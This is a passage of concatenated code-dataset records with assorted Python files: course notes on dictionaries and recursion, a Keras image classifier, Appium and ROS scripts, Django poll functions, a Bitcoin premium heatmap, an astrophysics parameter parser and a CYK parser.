my_dict)\n\ndel(my_dict['John'])\n\ndef lyrics_to_frequencies(lyrics):\n lyrics = lyrics.split(' ')\n myDict = {}\n\n for word in lyrics:\n if word in myDict:\n myDict[word] += 1\n else:\n myDict[word] = 1\n\n return myDict\n\ndef find_frequent(dict):\n frequent = ''\n frequency = 0\n for word in dict:\n if (frequency < dict[word]):\n frequency = dict[word]\n frequent = word\n return (frequent, frequency)\n\nlyrics = 'Words are flowing out like endless rain into a paper cup \\\nThey slither while they pass, they slip away across the universe \\\nPools of sorrow waves of joy are drifting through my opened mind \\\nPossessing and caressing me \\\nJai guru deva om \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nImages of broken light which dance before me like a million eyes \\\nThey call me on and on across the universe \\\nThoughts meander like a restless wind \\\nInside a letter box they \\\nStumble blindly as they make their way \\\nAcross the universe \\\nJai guru deva om \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nSounds of laughter shades of life are ringing \\\nThrough my open ears inciting and inviting me \\\nLimitless undying love which shines around me like a million suns \\\nAnd calls me on and on across the universe \\\nJai guru deva om \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nNothing\\'s gonna change my world \\\nJai guru deva \\\nJai guru deva \\\nJai guru deva \\\nJai guru deva'\n\nprint(find_frequent(lyrics_to_frequencies(lyrics)))\n\ndef fibonacci_efficient(n):\n fibonacci_efficient.counter += 1\n\n d = {\n 1: 1,\n 2: 2\n }\n\n if n in d:\n return d[n]\n else:\n ans = fibonacci_efficient(n-1) + fibonacci_efficient(n-2)\n d[n] = ans\n return ans\n\nfibonacci_efficient.counter = 0\nprint(fibonacci_efficient(24))\nprint(fibonacci.counter)\nprint(fibonacci_efficient.counter)","sub_path":"0.MIT-6.0001/notes/7.recursion_dictionaries.py","file_name":"7.recursion_dictionaries.py","file_ext":"py","file_size_in_byte":3120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"623505532","text":"import pandas as pd\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow.keras.layers as layer\nfrom tensorflow.keras.models import model_from_json\n\n#GLOBAL VARIABLES\npath_t = '/home/ubuntu/Training_data'\npath_v = '/home/ubuntu/Validation_data'\n\nEPOCH_NUMBER = 100\nBATCH_SIZE = 64\nLEARNING_RATE = 0.0005 # its 0.01 by default if we just specify 'adam'.\n\n#We build the dataset.\ndatagen = keras.preprocessing.image.ImageDataGenerator(shear_range = 0.2,\n zoom_range = 0.2,\n horizontal_flip = True,\n width_shift_range=0.2,\n height_shift_range=0.2,\n rotation_range=15,\n vertical_flip=True,\n fill_mode='reflect',\n data_format='channels_last',\n brightness_range=[0.5, 1.5])\ntrain_set = datagen.flow_from_directory(path_t, class_mode = 'binary', batch_size = BATCH_SIZE)\nvalidation_set = datagen.flow_from_directory(path_v, class_mode = 'binary', batch_size = BATCH_SIZE)\n\n#We build the model.\nmodel = keras.Sequential()\n\nmodel.add(layer.Conv2D(8, kernel_size = (3,3), activation = 'relu'))\nmodel.add(layer.Conv2D(16, kernel_size = (3,3), activation = 'relu')) #it knows what input shape is\nmodel.add(layer.Conv2D(24, kernel_size = (3,3), activation = 'relu'))\nmodel.add(layer.MaxPooling2D(pool_size = (2,2)))\n\nmodel.add(layer.Conv2D(32, kernel_size = (3,3), activation = 'relu'))\nmodel.add(layer.Conv2D(48, kernel_size = (3,3), activation = 'relu')) #it knows what input shape is\nmodel.add(layer.Conv2D(64, kernel_size = (3,3), activation = 'relu'))\nmodel.add(layer.MaxPooling2D(pool_size = (2,2)))\n\nmodel.add(layer.Conv2D(96, kernel_size = (3,3), activation = 'relu'))\nmodel.add(layer.Conv2D(128, kernel_size = (3,3), activation = 'relu')) #it knows what input shape is\nmodel.add(layer.Conv2D(256, kernel_size = (3,3), activation = 'relu'))\nmodel.add(layer.MaxPooling2D(pool_size = (2,2)))\n\nmodel.add(layer.Flatten())\nmodel.add(layer.Dense(256, activation = 'relu'))\n\nmodel.add(layer.Dense(32, activation = 'relu'))\nmodel.add(layer.Dense(1, activation = 'sigmoid'))\n\n\n#Create the optimizer: we are using adam.\noptimizer = keras.optimizers.Adam(learning_rate = LEARNING_RATE, beta_1 = 0.9, beta_2 = 0.999, amsgrad=False)\n# Run the model\n\nmodel.compile(optimizer = optimizer,loss=keras.losses.binary_crossentropy, metrics=['accuracy'])\n\nhistory = model.fit_generator(train_set, verbose = 1, epochs = EPOCH_NUMBER, validation_data = validation_set)\n\n'''Save Model to h5 '''\nmodel_json = model.to_json()\nwith open(\"model.json\", \"w\") as json_file:\n json_file.write(model_json)\n# serialize weights to HDF5\nmodel.save_weights(\"model_1.h5\")\nprint(\"Saved model to disk\")\n\n# Plot training & validation accuracy values|| Borrowed from keras documentation.\nplt.plot(history.history['acc'])\nplt.plot(history.history['val_acc'])\nplt.title('Model accuracy')\nplt.ylabel('Accuracy')\nplt.xlabel('Epoch')\nplt.legend(['Train', 'Test'], loc='upper left')\nplt.savefig(\"Accuracy.png\")\n\n# Plot training & validation loss values\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.title('Model loss')\nplt.ylabel('Loss')\nplt.xlabel('Epoch')\nplt.legend(['Train', 'Test'], loc='upper left')\nplt.savefig(\"Loss.png\")\n\n\n","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":3717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"381898307","text":"#!/usr/bin/python3\n\nimport sounds\n\nnumber_asked = 0\nnumber_correct = 0\nnumber_wrong = 0\n\nchoice = input(\"Press 1 for correct, 2 for incorrect or 0 to end: \")\nwhile choice != \"0\":\n\tif choice == \"1\":\n\t\tnumber_asked = number_asked + 1\n\t\tnumber_correct = number_correct + 1\n\t\tsounds.play_a_sound(\"carhorn.wav\")\n\tif choice == \"2\":\n\t\tnumber_asked = number_asked + 1\n\t\tnumber_wrong = number_wrong + 1\n\t\tsounds.play_a_sound(\"ohno.wav\")\n\tchoice = input(\"Press 1 for correct, 2 for incorrect, or 0 to end: \")\n\nprint(\"Asked questions: \" + str(number_asked))\nprint(\"Answers correct: \" + str(number_correct))\nprint(\"Wrong: \" + str(number_wrong))\n\n","sub_path":"python/various/hfp/gui/mode_code.py","file_name":"mode_code.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"366568427","text":"'''\nThis is a function for autocomplete\nTake an input string and then return any words in the set that begins with that search string\n'''\n\ndef autoComplete(inputTerm, inputSet):\n\toutput = []\n\tfor word in inputSet:\n\t\tif word[:len(inputTerm)] == inputTerm:\n\t\t\toutput.append(word)\n\treturn output\n\n\n############################################################################################\n### TESTING ###\n\nword_set = ['dog', 'deer', 'deal']\nsearch_term = 'de'\n\nprint(autoComplete(word_set, search_term))","sub_path":"day11_autocomplete/day11.py","file_name":"day11.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"410424559","text":"from selenium.webdriver.common.by import By\nfrom public.po.base_view import BaseView\nimport logging\nfrom log.log import logger\nfrom public.common.desired_caps import desired\nfrom public.common.do_excel import ReadExcel\nfrom public.common.adb_shell import AdbShell\n\n# 日志类的实例化\nlogger = logger(__name__, Cmdlevel=logging.INFO, Filelevel=logging.INFO)\n\n\nclass LoginPage(BaseView):\n mobile_text_element = (By.CLASS_NAME, \"android.widget.EditText\")\n code_text_element = (By.XPATH, \"//*[contains(text(), 输入验证码)]\")\n login_btn_element = (By.XPATH, \"//*[@text='登录']\")\n server_url = \"http://127.0.0.1:4723/wd/hub\"\n\n def __init__(self, driver):\n super().__init__(driver)\n\n # 手机号文本区域\n def mobile_set_text(self, mobileValue):\n mobile_text = self.find_element(*self.mobile_text_element)\n # print(\"MobileText\", MobileText.text)\n mobile_text.click()\n try:\n AdbShell.input_text(mobileValue)\n # MobileText.send_keys(mobileValue)\n logger.info(\"MobileText is setValues!\")\n except:\n logger.info(\"手机号输入失败!\")\n\n # 验证码文本区域\n def code_set_text(self, CodeValue):\n code_text = self.find_element(*self.code_text_element)\n # print(\"MobileText\", CodeText.text)\n code_text.click()\n try:\n AdbShell.input_text(CodeValue)\n # MobileText.send_keys(mobileValue)\n logger.info(\"CodeText is setValues!\")\n except:\n logger.info(\"验证码输入失败!\")\n\n # 登录按钮\n def login_button(self):\n LoginBtn = self.find_element(*self.login_btn_element)\n LoginBtn.click()\n logger.info(\"LoginBtn is click\")\n\n # 登录\n def login(self):\n try:\n self.wait_activity(\".MainActivity\", 30)\n mobileValue = int(ReadExcel(\"Login.xlsx\", \"Sheet1\").read_excel(1, 0))\n codeValue = int(ReadExcel(\"Login.xlsx\", \"Sheet1\").read_excel(2, 0))\n # print(mobileValue)\n # print(codeValue)\n self.mobile_set_text(mobileValue)\n self.code_set_text(codeValue)\n self.login_button()\n except:\n print(\"登录失败\")\n self.get_screeShot()\n\n\n# 调试\nif __name__ == '__main__':\n driver = desired()\n Login = LoginPage(driver)\n Login.login()\n","sub_path":"public/po/login_page.py","file_name":"login_page.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"516556808","text":"import urllib.request\nimport json\nimport datetime\nfrom datetime import timedelta\nimport pandas as pd\nimport time\n\nbaseCcy = 'BTC'\n\ndef getJSONfromURL(url):\n\twith urllib.request.urlopen(url) as response:\n\t\tstr_response = response.read().decode('utf-8')\n\t\tdata = json.loads(str_response)\n\t\treturn data\n\ndef getBTCAggHistoDay(_ccy):\n\turl = 'https://min-api.cryptocompare.com/data/histoday?fsym='+ baseCcy +'&tsym='+ _ccy +'&limit=50'\n\tdata = getJSONfromURL(url)\n\treturn data['Data']\n\ndef getFixerDayUSD(_currencies):\n\tclosingdate = datetime.date.today()\n\tfxData = []\n\tfor i in range(1,52):\n\t\tclosingdate = closingdate - timedelta(days=1)\n\t\tclosing = closingdate.strftime(\"%Y-%m-%d\")\n\t\turl = 'http://api.fixer.io/' + closing + '?base=USD'\n\t\tdata = getJSONfromURL(url)\n\t\tcurrent = {}\n\t\tcurrent['date'] = closing\n\t\tcurrent['time'] = int(time.mktime(datetime.datetime.strptime(closing, \"%Y-%m-%d\").timetuple()))\n\t\tfor ccy in _currencies:\n\t\t\tcurrent[ccy] = data['rates'][ccy]\t\t\n\t\tfxData.append(current)\n\tdf = pd.DataFrame(fxData)\n\treturn df\n\ndef getCloseBTCTable(_currencies):\n\tclose_btc = pd.DataFrame()\n\t_currencies.append('USD')\n\tfor ccy in _currencies:\n\t\tbtc_ccy = getBTCAggHistoDay(ccy)\n\t\tdf = pd.DataFrame(btc_ccy)\n\t\tdf_close = df[['time', 'close']]\n\t\tdf_close.columns = ['time', ccy]\n\t\tif len(close_btc.columns) < 1:\n\t\t\tclose_btc[ccy] = df_close[ccy]\n\t\t\tclose_btc['time'] = df['time']\t\t\t\n\t\telse:\n\t\t\tclose_btc = close_btc.merge(df_close, on='time', how='inner')\n\t_currencies.pop()\n\treturn close_btc\n\ndef calcConversionTable(_currencies, btc_df, fiat_df):\n\tconversion_df = btc_df[currencies].divide(fiat_df[currencies])\n\tconversion_df['time'] = btc_df['time']\n\tconversion_df['USD'] = btc_df['USD']\n\treturn conversion_df\n\ncurrencies = ['CNY', 'JPY', 'KRW']\ncurrenciesfull = ['CNY', 'JPY', 'KRW','USD']\n\nclose_btc = getCloseBTCTable(currencies)\nfiat = getFixerDayUSD(currencies)\nconversion_close = calcConversionTable(currencies, close_btc, fiat)\nconversion_close.to_csv('conversion.csv')\nrolling_7day = conversion_close[currenciesfull].rolling(7).mean().dropna()\nrolling_30day = conversion_close[currenciesfull].rolling(30).mean().dropna()\n\ndef calcMatrix(df):\n\tmatrix = []\n\tfor ccy1 in currenciesfull:\n\t\trow = []\n\t\tfor ccy2 in currenciesfull:\n\t\t\tdiff = df[ccy1].tail(1) - df[ccy2].tail(1)\n\t\t\trow.extend(diff)\n\t\tmatrix.append(row)\n\tdf_matrix = pd.DataFrame(matrix)\n\tdf_matrix.columns = currenciesfull\n\treturn matrix\n\ndef calcMatrixHeatMap(df):\n\tmatrix = {'from': [], 'to':[], 'diff':[], 'formatted':[], 'percent':[]}\n\tfor ccy1 in currenciesfull:\n\t\tfor ccy2 in currenciesfull:\n\t\t\tdiff = (df[ccy1].tail(1) - df[ccy2].tail(1)).values[0]\n\t\t\tpercent = (diff/df[ccy2].tail(1)).values[0]*100\n\t\t\tmatrix['diff'].append(diff)\n\t\t\tmatrix['formatted'].append(\"{0:.2f}\".format(diff))\n\t\t\tmatrix['percent'].append(\"{0:.2f}\".format(percent) + '%')\n\t\t\tmatrix['from'].append(ccy1)\n\t\t\tmatrix['to'].append(ccy2)\n\tdf_matrix = pd.DataFrame(matrix)\n\treturn df_matrix\n\nprem_last = calcMatrixHeatMap(conversion_close)\nprem_7day = calcMatrixHeatMap(rolling_7day)\nprem_30day = calcMatrixHeatMap(rolling_30day)\n\nfrom bokeh.layouts import row\nfrom bokeh.plotting import figure, show, output_file\nfrom bokeh.charts import HeatMap, bins, output_file, show\nfrom bokeh.palettes import RdBu, magma\nfrom bokeh.models import ColumnDataSource, LabelSet, Label\n\noutput_file(\"index.html\", title=\"BTC premia\")\n\ndateToDisplay = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\n\nhm1 = HeatMap(prem_last, x='from', y='to', values='diff', title=dateToDisplay+' Premia Last Closing (USD). diff = from - to, % = (from - to)/to', stat=None, palette=['green', 'gray', 'red'], legend=False)\nsource1 = ColumnDataSource(data=prem_last)\n#labels1a = LabelSet(x='from', y='to', text='formatted', level='glyph', x_offset=-15, y_offset=-10, render_mode='canvas', source=source1)\nlabels1b = LabelSet(x='from', y='to', text='percent', level='glyph', x_offset=-15, y_offset=-10, render_mode='canvas', source=source1)\n#hm1.add_layout(labels1a)\nhm1.add_layout(labels1b)\n\nhm2 = HeatMap(prem_7day, x='from', y='to', values='diff', title=dateToDisplay+' Premia 7 days average (USD)', stat=None, palette=['green', 'gray', 'red'], legend=False)\nsource2 = ColumnDataSource(data=prem_7day)\n#labels2a = LabelSet(x='from', y='to', text='formatted', level='glyph', x_offset=-15, y_offset=-10, render_mode='canvas', source=source2)\nlabels2b = LabelSet(x='from', y='to', text='percent', level='glyph', x_offset=-15, y_offset=-10, render_mode='canvas', source=source2)\n#hm2.add_layout(labels2a)\nhm2.add_layout(labels2b)\n\nhm3 = HeatMap(prem_30day, x='from', y='to', values='diff', title=dateToDisplay+' Premia 30 days average (USD)', stat=None, palette=['green', 'gray', 'red'], legend=False)\nsource3 = ColumnDataSource(data=prem_30day)\n#labels3a = LabelSet(x='from', y='to', text='formatted', level='glyph', x_offset=-15, y_offset=-10, render_mode='canvas', source=source3)\nlabels3b = LabelSet(x='from', y='to', text='percent', level='glyph', x_offset=-15, y_offset=-10, render_mode='canvas', source=source3)\n#hm3.add_layout(labels3a)\nhm3.add_layout(labels3b)\n\nshow(row(hm1, hm2, hm3)) \n\n\n\n","sub_path":"public/apidata/analysis/Premium/day/premium_matrix.py","file_name":"premium_matrix.py","file_ext":"py","file_size_in_byte":5115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"268778620","text":"# The function definition goes here\ndef range_test(number):\n if number > 1 and number < 555:\n return True\n else:\n return\n\nnum = int(input(\"Enter a number: \"))\n\n# You call the function here\nif range_test(num):\n print(num, \"is in range.\")\nelse:\n print(num, \"is outside the range!\")","sub_path":"Assignment/Assignment 7/range_test.py","file_name":"range_test.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"138472221","text":"#!/usr/bin/env python3\nfrom geometry_msgs.msg import Twist\nfrom sensor_msgs.msg import LaserScan\nimport rospy\nimport math\n\n\nclass PersonFollowerNode(object):\n\n def __init__(self):\n rospy.init_node(\"person_follower\")\n self.vel_pub = rospy.Publisher('cmd_vel', Twist, queue_size=1)\n self.scan_sub = rospy.Subscriber('/scan', LaserScan, self.callback)\n self.velocity = Twist()\n self.linear_speed = 0.8\n self.COM_x = 0\n self.COM_y = 0\n self.k = 1.5\n\n def callback(self, msg):\n laser_scan = msg.ranges\n # points 90 degress to left and 90 degress to right\n # of the center of the neato\n self.compute_com_x(laser_scan)\n self.compute_com_y(laser_scan)\n self.adjust()\n\n def compute_com_x(self, scans):\n distances = []\n for i in range(-90, 91, 1):\n i = i % 360\n if not math.isinf(scans[i]):\n distances.append(scans[i] * math.sin(i))\n if len(distances) > 0:\n self.COM_x = sum(distances) / len(distances)\n else:\n self.COM_x = 0\n print(\"x com:\", self.COM_x)\n\n def compute_com_y(self, scans):\n distances = []\n for i in range(-90, 91, 1):\n i = i % 360\n if not math.isinf(scans[i]):\n distances.append(scans[i] * math.cos(i))\n if len(distances) > 0:\n self.COM_y = sum(distances) / len(distances)\n else:\n self.COM_y = 0\n print(\"y com:\", self.COM_y)\n\n def adjust(self):\n # pythagorean theorem to find distance to COM point\n COM_distance = math.sqrt(self.COM_x**2 + self.COM_y**2)\n\n # set stopping threshold if it gets close\n if self.COM_y != 0 and COM_distance > 0.03:\n self.velocity.angular.z = self.k * math.tanh(self.COM_x / abs(self.COM_y))\n self.velocity.linear.x = self.linear_speed\n self.vel_pub.publish(self.velocity)\n else:\n self.velocity.angular.z = 0\n self.velocity.linear.x = 0\n self.vel_pub.publish(self.velocity)\n\n def run(self):\n r = rospy.Rate(2)\n while not rospy.is_shutdown():\n r.sleep()\n\n\nif __name__ == '__main__':\n node = PersonFollowerNode()\n node.run()\n","sub_path":"warmup_project/scripts/person_follower.py","file_name":"person_follower.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"635880151","text":"from datetime import datetime\n\nfrom .models import Question, Choice\n\n\ndef get_questions():\n rows = Question.objects.all().values('id',\n 'question_text',\n 'pub_date',\n 'choice__id',\n 'choice__choice_text',\n 'choice__votes')\n result = dict()\n for row in rows:\n question_id = row.get('id')\n question = result.get(question_id)\n if not question:\n question = dict(question_id=question_id, question_text=row.get('question_text'),\n question_pub_date=row.get('pub_date'))\n result[question_id] = question\n choices = question.get('choices')\n if not choices:\n choices = list()\n question['choices'] = choices\n choices.append(dict(choice_id=row.get('choice__id'), choice_text=row.get('choice__choice_text'),\n votes=row.get('choice__votes')))\n return dict(questions=list(result.values()))\n\n\ndef get_question(question_id):\n rows = Question.objects.filter(id=question_id).values('id',\n 'question_text',\n 'pub_date',\n 'choice__id',\n 'choice__choice_text',\n 'choice__votes')\n choices = list()\n for row in rows:\n question_text = row.get('question_text')\n pub_date = row.get('pub_date')\n choice_id = row.get('choice__id')\n if choice_id:\n choices.append(dict(choice_id=choice_id, choice_text=row.get('choice__choice_text'),\n votes=row.get('choice__votes')))\n return dict(question_id=question_id, question_text=question_text, pub_date=pub_date, choices=choices)\n\n\ndef create_question(question_text):\n question = Question.objects.create(question_text=question_text, pub_date=datetime.now())\n return dict(id=question.id, question_text=question_text, pub_date=question.pub_date)\n\n\ndef update_question(question_id, question_text):\n question = Question.objects.get(id=question_id)\n question.question_text = question_text\n question.pub_date = datetime.now()\n question.save()\n return dict(id=question.id, question_text=question.question_text, pub_date=question.pub_date)\n\n\ndef delete_question(question_id):\n question = Question.objects.get(id=question_id)\n question.delete()\n return dict(id=question_id)\n\n\ndef get_choices(question_id):\n question = Question.objects.get(id=question_id)\n choices = Choice.objects.filter(question=question)\n return dict(question_id=question_id, question_text=question.question_text, question_pub_date=question.pub_date,\n choices=[dict(id=c.id, choice_text=c.choice_text, votes=c.votes) for c in choices])\n\n\ndef get_choice(choice_id):\n choice = Choice.objects.get(id=choice_id)\n return dict(question_id=choice.question.id, question_text=choice.question.question_text,\n question_pub_date=choice.question.pub_date, choice_id=choice.id, choice_text=choice.choice_text,\n choice_votes=choice.votes)\n\n\ndef create_choice(question_id, choice_text, votes):\n question = Question.objects.get(id=question_id)\n choice = Choice.objects.create(question=question, choice_text=choice_text, votes=votes if votes else 0)\n return dict(question_id=question_id, question_text=question.question_text, choice_id=choice.id,\n choice_text=choice_text, votes=choice.votes)\n\n\ndef update_choice(choice_id, choice_text, votes):\n choice = Choice.objects.get(id=choice_id)\n choice.choice_text = choice_text\n if votes:\n choice.votes = votes\n choice.save()\n return dict(question_id=choice.question.id, question_text=choice.question.question_text, choice_id=choice.id,\n choice_text=choice_text, votes=choice.votes)\n\n\ndef delete_choice(choice_id):\n choice = Choice.objects.get(id=choice_id)\n choice.delete()\n return dict(id=choice_id)\n","sub_path":"polls/impls.py","file_name":"impls.py","file_ext":"py","file_size_in_byte":4276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"389243146","text":"# Parse parameters files and sys.argv\n\nimport os\nimport sys\nimport numpy as np\n\n\ndef parse_iharm3d_dat(params, fname):\n \"\"\"Parse the HARM params.dat format to produce a Python dict.\n params.dat format:\n [tag] name = value\n Where tag is in {dbl, float, int, str} corresponding to desired datatype.\n All lines not in this format are ignored, though conventionally comments begin with '# '\n \"\"\"\n fp = open(fname, \"r\")\n for line in fp:\n # Trim out trailing newline, anything after '#', stray parentheses or extra spaces\n ls = [token.strip('()') for token in line[:-1].split(\"#\")[0].split(\" \") if token != '']\n # And blank lines\n if len(ls) == 0:\n continue\n # Parse according to tag\n if ls[0] in [\"[dbl]\", \"[float]\"]:\n params[ls[1]] = float(ls[-1])\n elif ls[0] == \"[int]\":\n params[ls[1]] = int(ls[-1])\n elif ls[0] == \"[str]\":\n params[ls[1]] = str(ls[-1])\n return _fix(params)\n\ndef parse_parthenon_dat(string, params=None):\n \"\"\"Parse the KHARMA params.dat format to produce a Python dict.\n params.dat format:\n
\n name = value\n All lines not in this format are ignored, though conventionally comments begin with '# '\n Note this parser is far less robust than Parthenon's\n \"\"\"\n if params is None:\n params = {}\n\n # Things KHARMA will never use/modify but need to be *something* for IL HDF file header\n params['version'] = \"kharma-alpha-0.1\"\n params['gridfile'] = \"grid.h5\"\n params['n_prims_passive'] = 0\n\n for line in string.split(\"\\n\"):\n # Trim out trailing newline, anything after '#', stray parentheses, headers\n ls = [token.strip().strip('()') for token in line.split(\"#\")[0].split(\"<\")[0].split(\"=\") if token != '']\n # And blank lines\n if len(ls) == 0:\n continue\n # Parse, assuming float->int->str and taking the largest surviving numbers (to avoid block-specific nxN)\n try:\n if \".\" in ls[-1]:\n if ls[0] not in params or float(params[ls[0]]) < float(ls[-1]):\n params[ls[0]] = float(ls[-1])\n else:\n if ls[0] not in params or int(params[ls[0]]) < int(ls[-1]):\n params[ls[0]] = int(ls[-1])\n except ValueError:\n params[ls[0]] = ls[-1]\n \n # Now do any repairs specific to translating the Parthenon->iharm3d naming scheme\n for pair in (('nx1','n1'), ('nx2','n2'), ('nx3','n3'),\n ('n1','n1tot'), ('n2','n2tot'), ('n3','n3tot'),\n ('x1min', 'startx1'), ('x2min', 'startx2'), ('x3min', 'startx3'),\n ('gamma', 'gam'), ('dt', 'dump_cadence'), ('tlim', 'tf'), ('cfl', 'cour')):\n if (pair[0] in params):\n params[pair[1]] = params[pair[0]]\n\n if 'x1min' in params:\n params['r_in'] = np.exp(params['x1min'])\n params['r_out'] = np.exp(params['x1max'])\n params['dx1'] = (params['x1max'] - params['x1min'])/params['nx1']\n params['dx2'] = (params['x2max'] - params['x2min'])/params['nx2']\n params['dx3'] = (params['x3max'] - params['x3min'])/params['nx3']\n\n if \"cartesian\" in params['base']:\n params['coordinates'] = \"cartesian\"\n elif \"fmks\" in params['transform'] or \"funky\" in params['transform']:\n params['coordinates'] = \"fmks\"\n elif \"mks\" in params['transform'] or \"modif\" in params['transform']:\n params['coordinates'] = \"mks\"\n else:\n print(\"Defaulting KHARMA coordinate system to fmks...\")\n params['coordinates'] = params['metric'] = \"fmks\"\n\n return _fix(params)\n\n\ndef _fix(params):\n # Fix common parameter mistakes\n if 'n_prim' not in params and 'n_prims' in params: # This got messed up *often*\n params['n_prim'] = params['n_prims']\n\n if ('derefine_poles' in params) and (params['derefine_poles'] == 1):\n params['metric'] = \"fmks\"\n if 'Rout' in params:\n params['r_out'] = params['Rout']\n if 'electrons' in params and params['electrons'] == 1:\n params['electrons'] = True\n params['n_prim'] = 10 # TODO be less aggressive about this stuff\n params['prim_names'] = [\"RHO\", \"UU\", \"U1\", \"U2\", \"U3\", \"B1\", \"B2\", \"B3\", \"KTOT\", \"KEL\"]\n else:\n params['electrons'] = False\n params['n_prim'] = params['np'] = 8\n params['prim_names'] = [\"RHO\", \"UU\", \"U1\", \"U2\", \"U3\", \"B1\", \"B2\", \"B3\"]\n\n # Lots of layers of legacy coordinate specification\n # To be clear the modern way is 'coordiantes' key as one of usually 'fmks','mks','cartesian'\n # The old 'metric' key was uppercase\n if 'metric' not in params and 'coordinates' not in params:\n if ('derefine_poles' in params) and (params['derefine_poles'] == 1):\n params['metric'] = \"FMKS\"\n else:\n print(\"Defaulting to MKS coordinate system...\")\n params['metric'] = \"MKS\"\n\n if 'metric' in params and 'coordinates' not in params:\n params['coordinates'] = params['metric'].lower()\n\n if params['coordinates'] != \"cartesian\" and 'r_eh' not in params and 'a' in params:\n params['r_eh'] = (1. + np.sqrt(1. - params['a'] ** 2))\n\n # Metric defaults we're pretty safe in setting\n if not 'n_dim' in params:\n params['n_dim'] = 4\n if params['coordinates'] == \"fmks\":\n if not 'mks_smooth' in params:\n params['mks_smooth'] = 0.5\n if not 'poly_xt' in params:\n params['poly_xt'] = 0.82\n if not 'poly_alpha' in params:\n params['poly_alpha'] = 14.0\n if 'poly_norm' not in params:\n params['poly_norm'] = 0.5 * np.pi * 1. / (1. + 1. / (params['poly_alpha'] + 1.) *\n 1. / np.power(params['poly_xt'], params['poly_alpha']))\n\n return params\n","sub_path":"pyHARM/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":5832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"451566125","text":"import os.path\nimport argparse\nimport grammar_converter\n\n\nclass Node:\n \"\"\"\n Used for storing information about a non-terminal symbol. A node can have a maximum of two\n children because of the CNF of the grammar.\n It is possible though that there are multiple parses of a sentence. In this case information\n about an alternative child is stored in self.child1 or self.child2 (the parser will decide\n where according to the ambiguous rule).\n Either child1 is a terminal symbol passed as string, or both children are Nodes.\n \"\"\"\n\n def __init__(self, symbol, child1, child2=None):\n self.symbol = symbol\n self.child1 = child1\n self.child2 = child2\n\n def __repr__(self):\n \"\"\"\n :return: the string representation of a Node object.\n \"\"\"\n return self.symbol\n\n\nclass Parser:\n \"\"\"\n A CYK parser which is able to parse any grammar in CNF. The grammar can be read from a file or\n passed as a string. It either returns a string representation of the parse tree(s) or prints it\n to standard out.\n \"\"\"\n\n def __init__(self, grammar, sentence):\n \"\"\"\n Creates a new parser object which will read in the grammar and transform it into CNF and\n then parse the given sentence with that grammar.\n :param grammar: the file path to the grammar/the string repr. of the grammar to read in\n :param sentence: the file path to the sentence/the string repr. of the sentence to read in\n \"\"\"\n self.parse_table = None\n self.prods = {}\n self.grammar = None\n if os.path.isfile(grammar):\n self.grammar_from_file(grammar)\n else:\n self.grammar_from_string(grammar)\n self.__call__(sentence)\n\n def __call__(self, sentence, parse=False):\n \"\"\"\n Parse the given sentence (string or file) with the earlier given grammar.\n :param sentence: the sentence to parse with self.grammar\n \"\"\"\n if os.path.isfile(sentence):\n with open(sentence) as inp:\n self.input = inp.readline().split()\n if parse:\n self.parse()\n else:\n self.input = sentence.split()\n\n def grammar_from_file(self, grammar):\n \"\"\"\n Reads in a CFG from a given file, converts it to CNF and stores it in self.grammar.\n :param grammar: the file in which the grammar is stored.\n \"\"\"\n self.grammar = grammar_converter.convert_grammar(grammar_converter.read_grammar(grammar))\n\n def grammar_from_string(self, grammar):\n \"\"\"\n Reads in a CFG from a string, converts it to CNF and stores it in self.grammar.\n :param grammar: the CFG in string representation.\n :return:\n \"\"\"\n self.grammar = grammar_converter.convert_grammar([x.replace(\"->\", \"\").split() for x in grammar.split(\"\\n\")])\n\n def parse(self):\n \"\"\"\n Does the actual parsing according to the CYK algorithm. The parse table is stored in\n self.parse_table.\n \"\"\"\n length = len(self.input)\n # self.parse_table[y][x] is the list of nodes in the x+1 cell of y+1 row in the table.\n # That cell covers the word below it and y more words after.\n self.parse_table = [[[] for x in range(length - y)] for y in range(length)]\n\n for i, word in enumerate(self.input):\n # Find out which non terminals can generate the terminals in the input string\n # and put them into the parse table. One terminal could be generated by multiple\n # non terminals, therefore the parse table will contain a list of non terminals.\n for rule in self.grammar:\n if f\"'{word}'\" == rule[1]:\n self.parse_table[0][i].append(Node(rule[0], word))\n for words_to_consider in range(2, length + 1):\n for starting_cell in range(0, length - words_to_consider + 1):\n for left_size in range(1, words_to_consider):\n right_size = words_to_consider - left_size\n\n left_cell = self.parse_table[left_size - 1][starting_cell]\n right_cell = self.parse_table[right_size - 1][starting_cell + left_size]\n\n for rule in self.grammar:\n left_nodes = [n for n in left_cell if n.symbol == rule[1]]\n if left_nodes:\n 